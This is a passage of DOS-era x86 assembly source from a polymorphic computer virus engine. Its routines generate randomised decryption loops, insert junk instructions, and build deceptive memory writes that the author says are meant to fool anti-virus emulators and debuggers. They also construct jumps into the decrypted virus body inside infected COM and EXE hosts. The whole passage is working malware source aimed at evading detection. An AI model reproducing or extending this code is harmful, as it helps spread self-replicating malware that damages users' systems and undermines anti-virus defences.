AH, 0ACh ; Add to convert to SCASB/SCASW MOV AL, 0FDh ; Insert CLD (to subtract to DI) STOSW ; Insert that RET ; Return ; Store "CLD/SCASB" @@PonSCASB: MOV AX, 0AEFCh ; Construct "CLD/SCASW" STOSW ; Store them RET ; Return ; Store "DEC DI/CLD/SCASW" @@PonDECSCASW: MOV AX, [InicioVirus-200h+1+16h] ; Check if DI is even or SUB AX, [SumaIndice-200h] ; add decrypting. If it's AND AX, 1 ; odd, avoid "SCASW" because JNZ @@HazByte ; it would cause an exception CALL PonDEC ; Construct "DEC DI" CALL HazBasuraAleatoria ; Do garbage MOV AX, 0AFFCh ; Put "CLD/SCASW" STOSW ; Store instruction RET ; Return ; Construct "CLD/SCASW/DEC DI" @@PonSCASWDEC: MOV AX, [InicioVirus-200h+1+16h] ;Check for a possible ex- SUB AX, [SumaIndice-200h] ; ception that would hang the AND AX, 1 ; computer. JNZ @@HazByte ; If a exception is possible, jump MOV AX, 0AFFCh ; Store "CLD/SCASW" STOSW CALL HazBasuraAleatoria ; Do garbage CALL PonDEC ; Store "DEC DI" RET ; Return ; Word DI increasing @@HazWord: CALL Aleatorio ; Get a random between 0 and 3 AND AL, 03 JZ @@PonSCASW ; If 0, store "CLD/SCASW" CMP AL, 02 JB @@PonINCSCASB ; If 1, store "INC DI/CLD/SCASB" JZ @@PonSCASBINC ; If 2, store "CLD/SCASB/INC DI" ; Construct "ADD DI,1/CLD/SCASB" or "ADD DI,0/CLD/SCASW" @@PonADDSCASB2: MOV AX, [InicioVirus-200h+1+16h] ; Check for exceptions SUB AX, [SumaIndice-200h] AND AL, 1 ;AL = 1 if an exception could JNZ @@Ssssalto ;happen, and jump CALL Aleatorio ; Get a random 0 or 1 AND AL, 01 @@Ssssalto: MOV DH, AL ; Put AL in DH CALL PonADD ; Store "ADD DI," CALL HazBasuraAleatoria ; Do garbage MOV AH, DH ; Calculate "SCASB" or "SCASW" NEG AH ADD AH, 0AFh MOV AL, 0FCh ; Put "CLD" STOSW ; Store the two instructions RET ; Return ; Construct "INC DI/CLD/SCASB" @@PonINCSCASB: CALL PonINC ; Put "INC DI" CALL HazBasuraAleatoria ; Do garbage MOV AX, 0AEFCh ; Put "CLD/SCASB" STOSW ; Store it RET ; return ; Construct "CLD/SCASB/INC DI" @@PonSCASBINC: MOV AX, 0AEFCh ; Put "CLD/SCASB" STOSW ; Store instruction CALL HazBasuraAleatoria ; Do garbage CALL PonINC ; Put "INC DI" RET ; Return ; Construct "CLD/SCASW" @@PonSCASW: MOV AX, [InicioVirus-200h+1+16h] ;If a exception may SUB AX, [SumaIndice-200h] ; occur, then avoid this and AND AX, 1 ; search for another type of JNZ @@HazWord ; increasement MOV AX, 0AFFCh ; Construct "CLD/SCASW" STOSW ; Store it RET ; Return IncrementaIndice ENDP ModificaContador ENDP ;;; This procedure is to modify the index in the Zhengxi-like loop ModificaIndice PROC mov ax, [TamanyoContador-200h] ; Get the size of the ; counter movzx cx, byte ptr [TamanyoBloque-200h] ; Get the size of ; the blocks xor dx, dx ; Divide size of virus by size of blocks div cx inc ax ; AX = Number of blocks mul cx ; AX = Size of virus rounded to block size mov cx, ax ; Put it on CX TEST BP, 0080h ; Test if the decryptor will be decrypted by JNZ @@Byte ; words or bytes, then jump DEC CX @@Byte: DEC CX neg cx ; Negate CX JMP SaltoEspecial ; Jump Especial PROC MOVZX CX, BYTE PTR [TamanyoBloque-200h] ; Get block size in ; CX ;;; All the code till the end of the procedure will be uncommented. I'm lazy ;;; now to do it :) SaltoEspecial: MOV DL, [RegistroIndice-200h] @@Repete: CALL Aleatorio AND AL, 7 JZ @@PonADDSUB CMP AL, 2 JB @@PonSUBADD JZ @@PonADD1 CMP AL, 4 JB @@PonSUB1 JNZ @@Repete @@PonLEA: MOV AL, DL MOV BX, Offset TablaIndices - 200h XLAT AND AL, 3Fh CMP CX, +7Fh JBE @@KK1 OR AL, 80h DB 3Dh @@KK1: OR AL, 40h MOV AH, AL MOV AL, 8Dh ROL DL, 3 OR AH, DL STOSW MOV AX, CX CMP CX, 007Fh JBE @@KK2 STOSW RET @@PonADDSUB: PUSH CX CALL Aleatorio MOV CX, AX CALL @@PonADD CALL HazBasuraAleatoria POP AX SUB CX, AX JMP @@PonSUB @@PonSUBADD: PUSH CX CALL Aleatorio MOV CX, AX CALL @@PonSUB CALL HazBasuraAleatoria POP AX ADD CX, AX JMP @@PonADD @@PonADD1: CALL SioNo JZ @@PonADD CMP CX, +7Fh JA @@PonADD MOV AX, 0C083h @@Sigue2: ADD AH, DL STOSW MOV AL, CL @@KK2: STOSB RET @@PonSUB1: NEG CX CMP CX, +7Fh JA @@PonSUB CALL SioNo JZ @@PonSUB MOV AX, 0E883h JMP @@Sigue2 @@PonSUB: MOV AX, 0E881h JMP @@Sigue1 @@PonADD: MOV AX, 0C081h @@Sigue1: ADD AH, DL STOSW MOV AX, CX STOSW RET Especial ENDP ModificaIndice ENDP ;; Procedure to modify the key when it's modified every loop on the decryption ModificaRegistro PROC MOV DL, [RegistroEncriptado-200h] ; Get key register in DL TEST BP, 0100h ; If no register is used like key, JZ @@Fin ; exit TEST BP, 0004h ; Will we modify the key every loop? JZ @@Fin ; If not, exit CALL Aleatorio ; Get a random word in AX MOV [WordCambio-200h], AX ; Store it here TEST BP, 0020h ; Test method of changing JZ @@PonXORoSUB ; If Zero Flag, put XOR or SUB @@PonADDoROL: TEST BP, 0040h ; Test if ADD or ROL,1 JZ @@PonADD ; If Zero Flag, ADD @@PonROL: MOV AX, 0C0D1h ; Insert a "ROL Key_Reg,1" OR AH, DL ; Set register STOSW ; Store instruction @@Fin: RET ; Return @@PonADD: MOV AX, 0C081h ; Insert an "ADD Key_Reg,xxxx" CALL SioNo ; Random Zero Flag JZ @@Pon2ADD ; If Zero Flag, do it in 2 adds @@Saltoop: OR AH, DL ; Set register on opcode STOSW ; Store instruction MOV AX, [WordCambio-200h] ; Store value of changing STOSW RET ; Return @@Pon2ADD: @@Saltooo: OR AH, DL ; Set register on instruction STOSW ; Store it PUSH AX ; Save the instruction CALL Aleatorio ; Get a random value in AX MOV CX, AX ; Save it on CX MOV AX, [WordCambio-200h] ; Subtract it from the value of SUB AX, CX ; changing STOSW ; Store the result CALL HazBasuraAleatoria ; Do garbage POP AX ; Get the instruction again STOSW ; Store it MOV AX, CX ; Store the complementation of the STOSW ; word of changing RET ; Return @@PonXORoSUB: TEST BP, 0040h ; Is it XOR or SUB? JZ @@PonXOR ; If bit=0, do XOR @@PonSUB: MOV AX, 0E881h ; Construct a "SUB" CALL SioNo ; Do it in twice? JZ @@Saltooo ; If yes, jump here JMP @@Saltoop ; If not, store direct value and finish @@PonXOR: MOV AX, 0F081h ; Construct the "XOR" instruction and JMP @@Saltoop ; jump to store it ModificaRegistro ENDP ;; This procedure constructs a LEA with a value passed in DH PonLEA PROC MOV AL, 8Dh ; Store LEA opcode STOSB MOV AL, DL ; Get encoding for this register MOV BX, Offset TablaIndices - 200h XLAT AND AL, 07h ; Anulate other bits (if it is BP) ROL DL, 3 ; Prepare it for the second opcode OR AL, DL CALL SioNo ; Random Zero Flag JZ @@Salto02 ;If Zero Flag, set a byte-adding index OR AL, 40h STOSB MOV AL, DH ; Put direct value STOSB RET ; Return @@Salto02: OR AL, 80h ; Set a word-adding index STOSB ; Store the second opcode MOV AL, DH ; Get the byte to add CBW ; Convert in AX to a signed one STOSW ; Store the resulting word RET ; Return PonLEA ENDP ;; Procedure to insert an "INC" or a "DEC" with the register in DL. This ins- ;; tructions can be made with two different opcodes, so the routine uses them. ;;; Here to make a DEC PonDEC PROC PUSH CX ; Save CX MOV CL, 08h ; Put "DEC" JMP Sigue ; Jump here ;;; Here to make an INC PonINC PROC PUSH CX ; Save CX XOR CL, CL ; Put "INC" Sigue: CALL SioNo ; Random Zero Flag JZ @@Salto01 ; If Zero Flag, jump ; One type of opcode MOV AL, 0FFh ; Offset of some instructions MOV AH, DL ; Put register in AH OR AH, 0C0h ; Set "register operation" on OR AH, CL ; Put INC or DEC STOSW ; Store the instruction POP CX ; Recover CX RET ; Return ; Another type of opcode @@Salto01: MOV AL, DL ; Put register in AL OR AL, 40h ; Add 40h to the register OR AL, CL ; Set INC or DEC in the instruction STOSB ; Store it POP CX ; Recover CX RET ; Return PonINC ENDP PonDEC ENDP ;; Procedure to construct an ADD instruction with two different types: with ;; word operand and word reduced to signed byte. We must pass the value to add ;; in DH PonADD PROC MOV AH, 0C0h ;Set "register operation" on in the second ;opcode and ADD operation PonALGO: MOV AL, 81h ; Main opcode OR AH, DL ; Put register to use STOSW ; Store instruction MOV AL, DH ; Put value to add in AL CBW ; Extende AL to word with signe in AX CALL SioNo ; Random Zero Flag JZ @@Salto001 ;If Zero Flag, go on with this instruction MOV BYTE PTR [DI-02], 83h ; Change it to "word but repre- ; sented by a signed byte" inst. STOSB ; Store AL RET ; Return @@Salto001: STOSW ; Store AX RET ; Return PonADD ENDP ;; This procedure uses the procedure above. It only put in AH the bit field ;; (15,14) to 1,1 to set register operation on, and it jumps to the other rou- ;; tine because the other things to do are the same. PonSUB PROC MOV AH, 0E8h JMP PonALGO PonSUB ENDP MeteComprueba2 PROC MOVZX AX, [TamanyoBloque-200h] MOV CX, [InicioVirus-200h+1+16h] SUB CX, [SumaIndice-200h] ADD CX, AX JMP ComparacionBis ; This routine inserts a compare instruction (for the decryption loop, to know ; if it has to end decryption) MeteComprueba PROC MOV DL, [RegistroContador-200h] ;Get counter register in CMP DL, 04 ; DL. If DL = 4, do a CMP JZ Comparacion ; with the index CMP DL, 01 ; Check if it is CX JNZ @@Gimma ; If not, jump TEST BP, 0001h ;Is counter going fowards or backwards? JNZ @@Gimma ; If it's going fowards, jump TEST BP, 6000h ; Are we going to use any LOOP instr.? JNZ @@MeteParaLOOP ; If yes, jump here @@Gimma: CALL Aleatorio ; Get a random word in AX AND AL, 01 ; Get random 0 or 1 in AL JZ @@FuncionLogica ; If 0, jump here ; This sets an instruction type "CMP AX,0000" or "ADD AX,+00", to change/set ; flags and use them @@Operacion: MOV BX, Offset OpcodesComprueba - 200h ; It gets an opcode MOV AL, AH ; for ADD, SUB, CMP or CMP (twice) :) AND AL, 03 XLAT MOV AH, AL ; Put got opcode in AH OR AH, DL ; Set register to opcode MOV AL, 81h ; Set main opcode MOV CX, AX ; Save it on CX CALL Aleatorio ; Get a random word in AX AND AL, 02 ; Get random 0 or 2 in AL XCHG CX, AX ; Exchange instruction with random OR AL, CL ; Add 2 or nothing to opcode, to get ; 81h or 83h STOSW ; Store instruction XOR AX, AX ; AX=0 CMP CL, 02 ;If it's opcode 83h, store only a byte JZ @@Inserta1 @@Inserta2: STOSW ; If not, insert a word RET @@Inserta1: STOSB RET ; This inserts an instruction type "AND AX,AX" or "TEST BP,BP" @@FuncionLogica: CALL Aleatorio ; Get a random number between 0 and 2 AND AL, 03 JZ @@FuncionLogica DEC AL MOV BX, Offset OpcodesLogicos - 200h ; Get one of the op- XLAT ; codes here (OR,AND or TEST) CMP AL, 85h ; Check if it's TEST JZ @@Salta ; If it's TEST, jump AND AH, 02 ; Get a random 0 or 2 ADD AL, AH ; Add it to that got opcode @@Salta: MOV AH, DL ; Construct an instruction type "Operation ROL AH, 3 ; Reg,Reg", being "Reg" the same in the OR AH, DL ; left and the right of the comma. OR AH, 0C0h STOSW RET ; Here if we are going to put a LOOP instruction. We need a comparision to ; activate some flags and make the LOOP. For example, to do a LOOPZ we insert ; a comparision of a register with itself, so Zero Flag will be activated. ; For a LOOPNZ, the best is compare CX with 0, because it's going to be fal- ; se, so Zero Flag won't be activated @@MeteParaLOOP: MOV AX, BP ; Get type of LOOP in AH AND AX, 6000h CMP AH, 40h ; Check type of LOOP JZ @@PonLOOPZ ; Jump here if LOOPZ JB @@PonLOOPNZ ; Jump here if LOOPNZ RET ; Return if LOOP @@PonLOOPZ: CALL Aleatorio ; Get a random AX AND AL, 03 ; Get a random between 0 and 3 in AL ADD AL, 38h ; Add "CMP" opcode AND AH, 07h ; Get a random register MOV CL, AH ; Put it on CL ROL CL, 3 ; Prepare it register field in second opc. OR AH, CL ; Set it on opcode OR AH, 0C0h ; Activate "register operation" STOSW ; Store instruction RET ; Return @@PonLOOPNZ: CALL Aleatorio AND AL, 02h ADD AL, 81h ; Get a random 81h or 83h in AL MOV AH, 0F9h ; Construct "CMP CX,xxx" STOSW ; Store it TEST AL, 02h ; Check if the main opcode is 81h or 83h MOV AL, 0 ; AL=0 JNZ @@Mete1byte ; If 83h, put only one byte STOSB ; Store byte with value 0 @@Mete1byte: STOSB ; Store byte with value 0 RET ; Return ;;; This code to do a comparision with the index, to get if the loop reached ;;; the end of the decryption @@ComparacionDeBloque: MOV AX, [TamanyoContador-200h] MOVZX CX, BYTE PTR [TamanyoBloque-200h] XOR DX, DX DIV CX INC AX MUL CX MOV CX, AX ADD CX, [InicioVirus-200h+1+16h] SUB CX, [SumaIndice-200h] JMP ComparacionBis Comparacion: CMP BYTE PTR [TipoDeDesencriptador-200h], 0 JZ @@ComparacionDeBloque MOV CX, [InicioVirus-200h+1+16h] SUB CX, [SumaIndice-200h] ADD CX, [TamanyoContador-200h] ComparacionBis: cmp cx, 7fffh jbe @@KKBis cmp cx, (8000h + LongVirus2 + 200h) ja @@KKBis mov byte ptr [SaltoLoopTipo0-200h], 1 @@KKBis: MOV DL, [RegistroIndice-200h] CALL Aleatorio AND AH, 3 JZ @@MeteCMP ; jmp @@MeteCMP @@MeteOtraCosa: PUSH AX CALL SioNo JZ @@PUSHTipo1 @@PUSHTipo2: MOV AL, 50h ADD AL, DL STOSB JMP @@Sigue001 @@PUSHTipo1: MOV AX, 0F0FFh ADD AH, DL STOSW @@Sigue001: CALL HazBasuraAleatoria POP AX AND AL, 1 JZ @@MeteSUB @@MeteCMP2: CALL @@MeteCMP JMP @@Sigue002 @@MeteSUB: MOV AX, 0E881h ADD AH, DL STOSW MOV AX, CX STOSW @@Sigue002: CALL HazBasuraSinBanderas2 CALL SioNo JZ @@POPTipo1 @@POPTipo2: MOV AX, 0C08Fh ADD AH, DL STOSW RET @@POPTipo1: MOV AL, 58h ADD AL, DL STOSB RET @@MeteCMP: MOV AX, 0F881h ADD AH, DL STOSW MOV AX, CX STOSW RET MeteComprueba ENDP MeteComprueba2 ENDP ;; Procedure to insert garbage that doesn't affect to the flags that the de- ;; cryptor use to do certain things HazBasuraSinBanderas2 PROC call HazBasuraSinBanderas movzx cx, byte ptr [Cantidad-200h] ; Get in CX the quantity ; of bytes of the last ; call to HazBasuraSin- ; Banderas or cx, cx ; If 0, end jz @@Fin sub di, cx @@Loop01: cmp byte ptr [di], 0f5h ; CLC jb @@Jumping cmp byte ptr [di], 0f8h ; CMC ja @@Jumping @@Cont01: call Aleatorio ; Get other instruction and al, 07h mov bx, offset BasuraNoBanderas - 200h xlat stosb dec di jmp @@Loop01 @@Jumping: inc di loop @@Loop01 ret ;; And this procedure to insert garbage that doesn't affect to other types of ;; comparision, such as signed comparisions and all that. HazBasuraSinBanderas: CALL Aleatorio ; Get a random number in AX AND AX, 0003 ; Get number of instructions mov byte ptr [Cantidad-200h], al JZ @@Fin ; If 0, end MOV CX, AX ; Put it in CX MOV BX, Offset BasuraNoBanderas - 200h ; Get a random ins- @@Loop: CALL Aleatorio ; truction from the 7 stored in AND AL, 07h ; "BasuraNoBanderas" ; cmp byte ptr [TipoDeDesencriptador-200h], 0 ; jnz @@kk ; cmp al, 02 ; jbe @@Loop @@kk: XLAT STOSB ; Store it LOOP @@Loop ; Repeat CX times @@Fin: RET ; Return HazBasuraSinBanderas2 ENDP ;; Procedure to put the jump to repeat all the decryption process (commonly ;; called "the decryption loop" :) ). It could be one of the LOOPs, or condi- ;; tional jumps of 8/16 bits displacement MeteSaltoLoop PROC CMP BYTE PTR [RegistroContador-200h], 04 JZ @@SaltoPorComprobacion CMP BYTE PTR [RegistroContador-200h], 01 ; If counter re- JNZ @@Bigibiggs ; gister isn't CX, jump here TEST BP, 0001h ; Fowards or backwards? JNZ @@Bigibiggs ; Jump if fowards TEST BP, 6000h ; Does it use any LOOP? JNZ @@Especial ; If it uses them, jump here ; Here to put normal jumps (not LOOPs) @@Bigibiggs: MOV AX, BP ;Get if it goes fowards or backwards and set AND AX, 1 ;0 to BX if it goes backwards, otherwise put ROL AX, 2 ;4 in BX MOV BX, Offset Saltos - 200h ; Get a random conditional ADD BX, AX ; jump from the 4 stored ones for CALL Aleatorio ; the two modes of counting AND AL, 03 ;For increasing, it could be: JNZ, JS, JL or XLAT ;JLE. For decreasing: JNZ, JNS, JGE or JG @@Salto001: AND AH, 01 ; Random Zero Flag JZ @@Salto16bits ;If Zero Flag, do 16 bits conditional jump @@Salto8bits: MOV CX, [InicLoop-200h] ;Get address where the loop starts SUB CX, DI ;Calculate negated size of decryp- DEC CX ;tion loop DEC CX MOV AH, CL ; Put it like displacement and complete jump STOSW ; instruction. Store it. RET ; Return @@Salto16bits: ADD AL, 10h ; Add 10h to opcode to convert it MOV AH, AL ; Put it on AH and put 0Fh like main opcode MOV AL, 0Fh STOSW ; Store instruction (0F8?h) MOV AX, [InicLoop-200h] ; Get negated size of decryption SUB AX, DI ; loop DEC AX DEC AX STOSW ; Store it like displacement (backwards) RET ; Return ; Here the LOOPs are constructed @@Especial: MOV AX, BP ;Get type of LOOP instruction (LOOP, LOOPZ AND AX, 6000h ;or LOOPNZ) ROL AX, 3 ADD AL, 0DFh ; Convert bits to opcode (I prepared this ; data to do that) STOSB ; Store opcode MOV AX, [InicLoop-200h] ;Calculate negated size of decryp- SUB AX, DI ; tion loop and store it like displace- DEC AX ; ment STOSB RET ; Return @@SaltoPorComprobacion: ; cmp byte ptr [TipoDeDesencriptador-200h], 0 ; jnz @@KK ; xor al, al ; jmp @@KK2 cmp byte ptr [TipoDeDesencriptador-200h], 0 jz @@KK8 cmp byte ptr [TipoDeDesencriptador-200h], 1 jnz @@KK @@KK8: CMP BYTE PTR [SaltoLoopTipo0-200h], 1 JNZ @@KK4 mov bx, offset Saltos2 - 200h jmp @@KK5 @@KK4: MOV BX, Offset Saltos - 200h + 5 @@KK5: CALL Aleatorio AND AL, 1 JMP @@KK3 @@KK: CALL Aleatorio AND AL, 3 ; JZ @@SaltoPorComprobacion jz @@KK @@KK2: MOV BX, Offset Saltos - 200h + 4 @@KK3: XLAT JMP @@Salto001 MeteSaltoLoop ENDP ;; Procedure to initialize the random seed (when it has to initialize it) InicAleatorio PROC MOV AH, 1Ah ; Get date in CX and DX CALL Int21h AND DX, 0FFFCh ;Get a different date only every four days XOR DX, CX ;Mix the two numbers (day/month with year) PUSH ES ; Save ES XOR AX, AX ; Get some values from the TVI, so it will MOV ES, AX ; depend on the host system MOV CX, ES:[0074h] @@Cosa: XOR DX, CX ; Mix them ADD CX, DX MOV AX, ES:[0040h] ; Get IP of int 10h XOR AX, CX ; Mix it MOV [WordAleatorio1-200h], DX ;Save result values like new MOV [WordAleatorio2-200h], CX ;operation words for the MOV [WordAleatorio3-200h], AX ;random generator POP ES ;Restore ES RET ; Return InicAleatorio ENDP WordAleatorio1 DW 481Dh ; Values to operate when a random number is WordAleatorio2 DW 0AD71h ; being generated WordAleatorio3 DW 95F4h ;; One of the most important functions inside the polymorphism engine. It ge- ;; nerates a random word in AX. The sequence of random numbers wouldn't be ;; repeated until it generates 281.474.976.710.656 numbers, so teorically this ;; number is the quantity of possible variants of the virus (uuuf... :) ). Aleatorio PROC PUSH CX ; Save CX MOV AX, [WordAleatorio1-200h] ; Get word in AX DEC WORD PTR [WordAleatorio1-200h] ; Decrease it XOR AX, [WordAleatorio2-200h] ;XOR it with other word MOV CX, AX ; Put it in CX ROL WORD PTR [WordAleatorio1-200h], CL ; Rotate CL times ; the first word ADD [WordAleatorio1-200h], AX ; Add AX to this word ADC AX, [WordAleatorio2-200h] ; Add second word to AX ADD AX, CX ; Add CX to AX ROR AX, CL ; Rotate AX with CL NOT AX ; Inverse all bits in AX SUB AX, 0003 ; Subtract a fix quantity, so it ne- ; ver will be the same than before XOR [WordAleatorio2-200h], AX ; XOR second word with AX XOR AX, [WordAleatorio3-200h] ; XOR AX with the third word ROL WORD PTR [WordAleatorio3-200h], 1 ; Rotate 3rd word SUB WORD PTR [WordAleatorio3-200h], CX ; Subtract CX SBB WORD PTR [WordAleatorio3-200h], 4 ; Subtract a fix ; quantity INC WORD PTR [WordAleatorio2-200h] ; Increase 2nd word POP CX ; Return with a random in AX RET ; Return Aleatorio ENDP ;; This procedure constructs the instruction which will jump to the second de- ;; cryptor or to the decrypted virus body. SaltoInicio PROC PUSH Offset @@Fin1 - 200h ; Save this address onto stack MOV AX, BP ; Get instruction to jump AND AX, 0C00h ROL AX, 6 CMP AL, 01 JB @@PonJMP ; If 0, put "JMP" ;;; JMP @@PonJMP JZ @@PonRET ; If 1, put "RET" CMP AL, 03 JB @@PonRETF ; If 2, put "RETF" ; Put an IRET, a RETF 0002 or a RET 0004 @@PonIRET: CALL Aleatorio ; Get a random number between 1 and 3 AND AL, 03 JZ @@PonIRET CMP AL, 02 ; Check number JB @@PonRET0004 ; If AL=1, then put "RET 0004" JZ @@PonRETF0002 ; If AL=2, then put "RETF 0002" MOV AL, 0CFh ; Put IRET RET ; Jump to @@Fin1 @@PonRET0004: MOV AX, 04C2h ;Put "RET" and the first part of the num- @@Salto1: STOSW ; ber before (0004) XOR AL, AL ; Store 0 when return RET @@PonRETF0002: MOV AX, 02CAh ; Put "RETF" and the first part of the JMP @@Salto1 ; number before "0002" when jump ; Put a RETF or a RET 0002 @@PonRETF: CALL SioNo ; Random Zero Flag JZ @@PonRET0002 ; If Zero Flag, put RET 0002 MOV AL, 0CBh ; Insert RETF RET ; Jump to @@Fin1 @@PonRET0002: MOV AX, 02C2h ; Insert "RET" and the first part of the JMP @@Salto1 ; "0002" when jump ; Put a RET @@PonRET: MOV AL, 0C3h ; "RET" opcode in AL RET ; Jump to @@Fin1 ; Put a JMP @@PonJMP: MOV AL, 0E9h ; Insert "JMP" opcode STOSB MOV AX, Offset NewVirus-200h ; Calculate displacement. If SUB AX, DI ;it jumps directly to the decrypted virus DEC AX ;body, it calculates the displacement to DEC AX ;the initial address of the virus. Other- CALL MiraSiPrimerDes ;wise, it adds the static size of the JZ @@Salto ;virus body to the calculated displa- ADD AX, LongVirus ;cement, to get the entry-point of the ;second decryptor. @@Salto: STOSW ; Store the displacement POP AX ; Nivelate stack RET ; Return @@Fin1: STOSB ; Store number in AL RET ; Return SaltoInicio ENDP ; Procedure to construct PUSH instructions to insert jump addresses, depending ; on the instruction to jump. If an IRET will be used, then it inserts in the ; decryptor a PUSHF, a PUSH Segment (PUSH CS if it's an EXE) and a PUSH ; Address, for example. For a RETF, it would only insert a PUSH Segment and ; a PUSH Address, etc. It won't be inserted all in once, but in every call ; to this function, it checks if any stack instruction must be inserted. Sin- ; ce this function is called at least three times, there is no error. PonStack PROC PUSH AX ; Save AX CMP BYTE PTR [Estado-200h], 0 ; Check if there's any ins- ; truction to insert JZ @@Fin ; If not, exit CALL HazBasuraAleatoria ; Do garbage CMP BYTE PTR [Estado-200h], 2 ;Check if number of instruc- ;tion is 2 JB @@PonIP ; If it's 1, put a PUSH Address JZ @@PonCS ; If it's 2, put a PUSH Segment ; Number of instruction is 3, so put a PUSHF @@PonFLAGS: MOV AL, 9Ch ; AL=opcode of "PUSHF" JMP @@Sigue ; Continue ; Number of instruction is 2, so put a "PUSH Segment" @@PonCS: CMP BYTE PTR [TipoEjec-200h], 0 ; Check if host is an EXE JZ @@Salto ; If it's an EXE, insert a "PUSH CS" MOV AL, 0Eh ; AL=opcode of "PUSH CS" JMP @@Sigue ; Jump to insert it and exit @@Salto: CALL Aleatorio ; Get a random number AND AL, 18h ; Get a 0, 8, 10h or 18h ADD AL, 06h ; Convert it to "PUSH Segment" JMP @@Sigue ; Continue ; Number of instruction is 1, so put a "PUSH Address" @@PonIP: MOV AL, 68h ; AL=opcode of "PUSH xxxx" STOSB ; Store it MOV AX, [InicioVirus-200h+1+16h] ;Get initial address of ; the decrypted virus body CALL MiraSiPrimerDes ; Check if we are in the first de- ; cryptor JZ @@SKKKKJ ; If we are in the second, insert ; address ADD AX, LongVirus ;Calculate address of second decryp. @@SKKKKJ: STOSW ; Store got address in AX JMP @@Fin1 ; Jump and return @@Sigue: STOSB ; Store byte @@Fin1: DEC BYTE PTR [Estado-200h] ;Decrease number of instruction @@Fin: POP AX ; Restore AX RET ; Return PonStack ENDP ;; It only returns Zero Flag if we are in the second decryptor. It saves some ;; bytes, because this instruction is quite long MiraSiPrimerDes PROC CMP WORD PTR [LongDesencrip-200h], 0 ; Check if second de- RET ; cryptor and return MiraSiPrimerDes ENDP ;;; MEMORY WRITES ;; This is one of the nicest routines in this engine. It is capable of insert ;; a direct indexed memory write/modification. Moreover, this writes are done ;; to the virus body, so it can fool an emulator or a debugger in a cool ;; manner :) MeteEscritura PROC CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bits opcode if JNZ @@Sigue6 ; there are any DEC DI @@Sigue6: CMP BYTE PTR [TipoEjec-200h], 1 ; Check if host is an EXE JZ @@EsEXE ; If it's an EXE, jump and ; insert only a "CS:" @@EsCOM: CALL Aleatorio ; Get a random number AND AL, 18h ; Make a "CS:", "ES:" or "SS:". CMP AL, 18h ; If a "DS:" is going to be sto- JNZ @@Sigue7 ; red, it has a random 50% of CALL SioNo ; probability to insert it JZ @@Sigue2 @@Sigue7: ADD AL, 26h db 3dh ;JMP @@Sigue1 @@EsEXE: MOV AL, 2Eh @@Sigue1: STOSB ; Store segment opcode @@Sigue2: CALL MiraSiPrimerDes ; Check if second decryptor JZ @@Sigue8 ; If second decryptor, avoid in- ; dexed writes MOV BX, Offset RegistrosUsados-200h ; CMP BYTE PTR [BX+3], 0 ; JZ @@OtraVez CMP BYTE PTR [BX+6], 0 JZ @@OtraVez CMP BYTE PTR [BX+7], 0 JNZ @@Sigue8 @@OtraVez: CALL Aleatorio ; Get a random number in AX be- AND AX, 0001 ; tween 0 and 1 ADD AX, 0006 MOV BX, Offset RegistrosUsados-200h ADD BX, AX ; Put it on BX ; Get a random not-used CMP BYTE PTR [BX], 0 ; register from this set of JNZ @@OtraVez ; index registers MOV DL, AL ; Put register in DL MOV BX, Offset TablaIndices-200h ; Translate it to index XLAT ; codification AND AL, 07h ; Set word-adding-to-index on OR AL, 80h MOV CL, AL ; Put the opcode in CL xor si, si CALL SioNo jz @@NoReg call SioNo jz @@Aqui2 call SioNo jz @@CoproStatus ; Insert a copro memory write @@Aqui2: CALL Aleatorio ; Get a random number in AX AND AX, 3839h ; Get a random register in AH, and a ; random operation in AL (byte or word ; operation randomly, too) @@Aqui: OR AH, CL ; Put index in second opcode STOSW ; Store instruction MOVZX BX, DL ; Put register in BX ROL BX, 1 ; Get address of initial execution va- ADD BX, Offset InicValoresCOM-200h ; lue in BX CMP BYTE PTR [TipoEjec-200h], 1 ; If host is a COM, jump JNZ @@Sigue10 ADD BX, 0010h ; Get address of EXE initial register ; values @@Sigue10: MOV DX, [BX] ; Get initial value in DX PUSH DX ; Save it onto stack CALL ObtenDireccionEscrit ; Get a write direction in AX POP DX ; Restore DX SUB AX, DX ; Calculate adding for the index in STOSW ; the instruction and complete it or si, si jz @@Ret call Aleatorio test si, 1 jnz @@ValorWord @@ValorByte: STOSB @@Ret: RET @@NoReg: call Aleatorio and ax, 3801h add al, 80h or si, ax jmp @@Aqui @@CoproStatus: mov ax, 38d9h ; Insert copro memory writes call SioNo jz @@Aqui add al, 4h jmp @@Aqui ;; Here a normal direct-address memory write is inserted @@Sigue8: CALL Aleatorio ; Get a random operation with a random AND AX, 3839h ; 8/16 bits register ADD AH, 06h ; Set "direct address" on STOSW ; Store instruction CALL ObtenDireccionEscrit ; Get a memory address for write @@ValorWord: STOSW ; Store it for completing instruction RET ; Return MeteEscritura ENDP ;; Routine to get a secure address for writing. All got addresses points to ;; the virus body, so it would seem modifications to decrypted variables. But ;; the value of this zones doesn't affect to the virus operations once decryp- ;; ted, so it can fool emulators and debuggers. Deal with it, AVers! :) ObtenDireccionEscrit PROC @@Sigue3: CALL Aleatorio ; Get a random number between 0 and 16h AND AX, 001Fh CMP AX, 0017h JAE @@Sigue3 MOV BX, 0003 ; Get address where data is stored MUL BX MOV BX, AX ADD BX, Offset Escritura-200h MOV CL, [BX] ; Get this number, which means the quantity INC CL ; that the index can vary from the address ; after. For example, if there is a 0, then ; the address must be as-is. But if there ; is a 2, then the address can be from ; Address+0 to Address+2 randomly XOR DX, DX ; Set high-word of division to 0 CALL Aleatorio ; Get a random number XOR CH, CH ; CX=CL DIV CX ; Get a random number between 0 and CL-1 MOV AX, DX ; Put the remainder (what we want) in AX ADD AX, [BX+01] ; Add address where writing is safe @@Sigue5: ADD AX, [InicioVirus-200h+1+16h] ;Calculate address inside ; the virus body once in the ; host RET ; Return ObtenDireccionEscrit ENDP ;;; DATA SECTION ; Translation from register to index codification to make opcodes of memory ; operations TablaIndices DB 0, 0, 0, 7, 0, 46h, 4, 5 ; AX CX DX BX SP BP SI DI ; BP must have bits field (15,14) to non-zero because if not it's interpreted ; like a direct memory address operation (a number, not a register) ; Opcodes for the decryptor. They are opcodes for XOR, ADD, SUB and XOR, resp. OpcodesCriptado DB 31h, 01h, 29h, 31h ;; Opcodes for checking the state of counter ; Check by operation: with opcode 81h/83h, they form: ADD, SUB, CMP, CMP OpcodesComprueba DB 0C0h, 0E8h, 0F8h, 0F8h ; Check by logical operation: Opcodes of the instructions: OR, AND, TEST OpcodesLogicos DB 09h, 21h, 85h ;; Interrupt numbers that can be safely used (if there isn't a debugger :) ) OpcodesInterrup DB 1Ch, 28h, 01h, 03h ; INT 1Ch, 28h, 01h and 